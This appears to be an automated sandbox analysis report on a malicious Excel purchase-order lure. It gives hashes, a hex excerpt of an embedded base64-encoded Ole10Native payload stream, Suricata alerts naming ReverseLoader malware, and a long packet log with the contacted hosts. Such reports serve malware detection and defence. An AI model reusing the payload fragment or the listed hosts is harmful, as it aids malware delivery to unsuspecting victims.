SHA512:	b7a289b323fc933253bff2fd3006f713ddfed6917bce8e12d002d50f5d02c135e5f190a67081ca63b0f96cd32145b1bd0ab52c16f255b35392f847bd8c34a291
SSDEEP:	12288:Ys9ejjZuPkhNw5hf093Sg0+T2z8FTZr9Uygz+iEC5bCGZkRL0WAZJtj+:j9ej2A9SmTPtr2yo+q25Ruj+
TLSH:	44D42360C7A71791F19339BAD04A9C254D8DFB22F78508EE9F08E52906BC4C4E7C59AF
File Content Preview:	PK..........WYH!j.....G.......[Content_Types].xmlUT...%=.g%=.g%=.g...n.0...+.;D.V...VUE.C.=.E*...{ ^......~'..V.B...(..........fk.d.+.u1..:..q.R..?.7"..N...K.E..w.......q..R.).[)I....>............V.D.c4.).w.].S.!...\..M....;'.q"{..u.R@..(H..k.?Ar.X......K

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Orden de Compra No. 78986756565344657.xlam.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	Mancilla, Jesus
Last Saved By:	USER
Total Edit Time:	0
Create Time:	2022-08-10T18:51:50Z
Last Saved Time:	2023-08-08T20:02:56Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams

Stream Path: \x1oLE10natIve, File Type: data, Stream Size: 846520

General
Stream Path:	\x1oLE10natIve
CLSID:
File Type:	data
Stream Size:	846520
Entropy:	5.909713243676012
Base64 Encoded:	True
Data ASCII:	$ ' . . > H . . h . . Q . . . _ ~ x . . R . \\ . N y - . N y R D . . : S ? y { . . & . # . + a . R . _ ~ . \\ . . . d I . G ! 1 & . . r ~ V . N . W . n , M . V . F . . v l . . . . . M . s 6 + Z . v # u . R ) . R . R " M E x ~ d . . 1 , t k 1 . . . Z . 9 m f } . F e S J S * 8 Y H . . g . ) F @ . " . . E ' . j G w . _ B . . . . 5 . O c W P ^ . . d $ ) . . ( . O . o . . = R - F 3 h ^ . . - . % P . W 7 . . O H Z N . . L . r . d g * o O . g " . . . , Q . 9 } p ] . " k . . / B . J . a \\ a i g . J . K e . w . F .
Data Raw:	24 a0 27 06 03 90 3e c4 48 d8 01 08 be 68 bb 99 cd f3 01 81 c3 a3 ef 51 fe 8b 03 8b 10 b9 2e e0 5f f0 81 e9 7e 78 19 f0 8b 01 52 ff d0 05 5c 09 4e 79 2d bf 08 4e 79 ff e0 9d ba 52 44 00 1b c1 b6 3a 53 3f 79 7b 1a e2 82 1c 26 8e ec 16 23 cb 0c 2b 61 08 ff b7 52 b6 12 8f 5f bf 9d 7e 86 dc 13 90 95 5c 1f d1 c4 c7 1a a0 95 01 20 b8 d0 cb 64 8d cc 49 7f 47 21 ff e6 31 26 cb c9 a0 a6 dd

Stream Path: Q63B8gOAMf, File Type: empty, Stream Size: 0

General
Stream Path:	Q63B8gOAMf
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T08:52:57.491095+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.186.97	443	192.168.2.22	49167	TCP
2024-10-24T08:53:08.847976+0200	2020423	ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound	1	198.46.178.134	80	192.168.2.22	49168	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:52:45.348455906 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:45.354074955 CEST	80	49163	198.46.178.134	192.168.2.22
Oct 24, 2024 08:52:45.354171038 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:45.354321957 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:45.359668970 CEST	80	49163	198.46.178.134	192.168.2.22
Oct 24, 2024 08:52:46.016316891 CEST	80	49163	198.46.178.134	192.168.2.22
Oct 24, 2024 08:52:46.016347885 CEST	80	49163	198.46.178.134	192.168.2.22
Oct 24, 2024 08:52:46.016366005 CEST	80	49163	198.46.178.134	192.168.2.22
Oct 24, 2024 08:52:46.016411066 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:46.016618967 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:46.473321915 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:46.478719950 CEST	80	49164	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:46.478780985 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:46.478975058 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:46.485272884 CEST	80	49164	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:46.939420938 CEST	49163	80	192.168.2.22	198.46.178.134
Oct 24, 2024 08:52:47.163486004 CEST	80	49164	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.163535118 CEST	80	49164	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.163610935 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.163963079 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.165249109 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.165302038 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.165369987 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.166762114 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.166774988 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.169598103 CEST	80	49164	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.169667006 CEST	49164	80	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.793128014 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.793241024 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.819345951 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.819365978 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.820491076 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:47.914041996 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:47.955343008 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.201416969 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.201653957 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.201715946 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.201745987 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.201775074 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.201833010 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.201858044 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.234018087 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.234092951 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.234136105 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.234256029 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.234309912 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.234324932 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318106890 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318166971 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.318197012 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318315983 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318358898 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.318365097 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318814039 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318854094 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.318861008 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.318973064 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.319017887 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.319022894 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351190090 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351260900 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351299047 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351324081 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.351349115 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351365089 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.351464033 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351504087 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.351509094 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351545095 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.351578951 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.351583958 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.352216959 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.352258921 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.352262974 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.352272987 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.352302074 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.393901110 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.435715914 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.435828924 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.435832977 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.435874939 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.435929060 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.435975075 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436156988 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436199903 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.436206102 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436345100 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436386108 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.436391115 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436522961 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436561108 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.436566114 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436897039 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.436938047 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.436944008 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.437731981 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.437797070 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.437812090 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.438153982 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.438206911 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.438215971 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.468934059 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.469033957 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.469053984 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.469074965 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.469115019 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.469120979 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.469223976 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.469265938 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.469270945 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.470096111 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.470148087 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.470155001 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.470225096 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.470268965 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.470274925 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.470957041 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.471004963 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.471010923 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.471080065 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.471118927 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.471124887 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.511300087 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.511369944 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.511395931 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553658962 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553728104 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.553741932 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553750038 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553775072 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553783894 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.553797960 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.553838968 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.553850889 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.554136992 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.554179907 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.554188013 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.554197073 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.554236889 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.554241896 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555471897 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555530071 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.555541039 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555634975 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555682898 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.555687904 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555751085 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555785894 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.555789948 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555882931 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555924892 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.555928946 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.555994034 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556027889 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.556040049 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556729078 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556777000 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.556787014 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556797981 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556822062 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.556828022 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556898117 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.556934118 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.557180882 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.557200909 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:48.557216883 CEST	49165	443	192.168.2.22	188.114.96.3
Oct 24, 2024 08:52:48.557223082 CEST	443	49165	188.114.96.3	192.168.2.22
Oct 24, 2024 08:52:50.599320889 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:50.599368095 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:50.599420071 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:50.607319117 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:50.607338905 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.473170042 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.473242998 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:51.473947048 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.473998070 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:51.480129004 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:51.480143070 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.480576038 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.554172993 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:51.595344067 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:51.918410063 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:52.039104939 CEST	443	49166	216.58.206.46	192.168.2.22
Oct 24, 2024 08:52:52.039225101 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:52.041342974 CEST	49166	443	192.168.2.22	216.58.206.46
Oct 24, 2024 08:52:52.060954094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:52.061050892 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:52.061131001 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:52.061419964 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:52.061475039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:53.196563959 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:53.196645021 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:53.200936079 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:53.200949907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:53.201265097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:53.204624891 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:53.247369051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.627598047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.627718925 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.635565996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.635667086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.743355036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.743479967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.743542910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.746613979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.746676922 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.746691942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.750633955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.750695944 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.750709057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.759212017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.759279966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.759291887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.767981052 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.768045902 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.768058062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.776712894 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.776782036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.776794910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.785408020 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.785459995 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.785473108 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.794049978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.794106960 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.794120073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.802858114 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.802917004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.802930117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.858941078 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859042883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.859066963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859200954 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859260082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.859273911 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859412909 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859468937 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.859481096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859599113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.859658003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.859669924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.862111092 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.862173080 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.862185955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.862308979 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.862370968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.862381935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.863065004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.863128901 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.863141060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.866405964 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.866472006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.866483927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.868911028 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.868973017 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.868984938 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.875583887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.875637054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.875648975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.880479097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.880542994 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.880554914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.886274099 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:55.886343002 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:55.886354923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.084822893 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.084886074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.084922075 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.084959984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.084969997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085007906 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085036039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085076094 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085084915 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085114002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085170984 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085175991 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085190058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085232973 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085237026 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085247993 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085292101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085305929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085360050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085392952 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085412979 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085441113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085484982 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:52:56.085494995 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:52:56.085506916 CEST	443	49167	142.250.186.97	192.168.2.22
